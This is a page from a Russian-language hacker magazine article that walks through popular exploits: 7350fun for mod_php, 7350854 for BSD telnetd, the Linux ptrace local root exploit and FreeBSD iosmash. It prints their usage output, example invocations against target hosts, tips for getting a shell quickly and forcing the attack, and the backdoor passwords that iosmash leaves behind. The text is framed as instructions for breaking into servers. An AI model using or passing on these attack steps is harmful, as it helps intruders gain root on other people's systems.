Самые популярные и разрушительные эксплойты последнего времени!

Ares (ares2000@hotbox.ru)

Xakep, номер #045, стр. 045-046-2


Example: [root@www zl0]#./7350wurm -t 1 -d 123.123.123.123

3. 7350fun. PHP remote exploit, дает права httpd процесса, часто встречается nobody, но, как было сказано выше, это не беда. Работает отлично, но нужно грузить с быстрого шелла, так как брутфорс иногда затягивается надолго. Рассмотрим подробней:

[root@www zl0]# ./7350fun

7350fun - x86/linux mod_php v4.0.2rc1-v4.0.7RC2 remote exploit

by lorian.

usage: ./7350fun [options] <hostname> <phpfile>

Options:

-c check exploitability only, do not exploit

-n no check mode

-s start bruteforce start (top)

-t target choose target

(1) PHP v4.0.2rc1-v4.0.5

(2) PHP v4.0.6-v4.0.7RC2

[root@www zl0]#

Для эксплойтинга нам понадобится уязвимый хост, помимо этого обязательно присутствие любого *.php файла на сервере, который мы должны ввести в качестве параметра (также допустимы php скрипты - *.phtml).

Example: [root@www zl0]#./7350fun -t 2 www.host.com index.php

ХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХ

КАРТИНКА: screen1.bmp

ПОДПИСЬ: Поломанный сервер

ХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХ

С параметрами все должно быть ясно. Единственное, уделю внимание параметру -s, при удачном взломе запомни, по какому адресу у тебя сработал эксплойт, и в следующий раз (частенько случайно нажимается ctrl+c), указав его в данном параметре, сразу получишь шелл на удаленном сервере.

4. 7350854. Удаленный root эксплойт для telnetd в некоторых *BSD системах (FreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE; NetBSD 1.5; BSDI BSD/OS 4.1).

[root@www zl0]# ./7350854

7350854 - x86/bsd telnetd remote root exploit

Usage: ./7350854 [-n <num>] [-c] [-f] <ip>

-n num number of populators, for testing purposes

-c check exploitability only, do not exploit

-f force mode, override check results

Example: [root@www zl0]#./7350854 123.123.123.123

Если эксплойт отказывается работать, ссылаясь на неуязвимость сервера, можно использовать ключ -f, с которым будет произведена попытка эксплойтинга в любом случае. Желательно запускать эксплойт с быстрого шелла, потому что в ходе работы он посылает 16/32mb трафика на удаленную машину.

5. ptrace. Linux kernel 2.4.* local root exploit. Очень прост в использовании. Достаточно запустить его, остальное он сделает сам. Есть один нюанс, для работы нужно иметь нормальный tty shell (пройти авторизацию на сервере через telnet/ssh сервисы), в противном случае работать он не будет.

6. iosmash. stdio kernel bug во всех версиях FreeBSD до 4.5-RELEASE (включая). Позволяет непривилегированному пользователю получить local root доступ. Как и предыдущий эксплойт, требует только запуска, после чего выполняем команду "su snosoft", вводим пароль "MASS OAT ROLL TOOL AGO CAM", ну и, наконец, "su root", пароль вводим тот же.

Example: >./iosmash

Adding phased:

<--- HIT CTRL-C --->

> su

s/key 98 snosoft2

Назад на стр. 045-046-1  Содержание  Вперед на стр. 045-046-3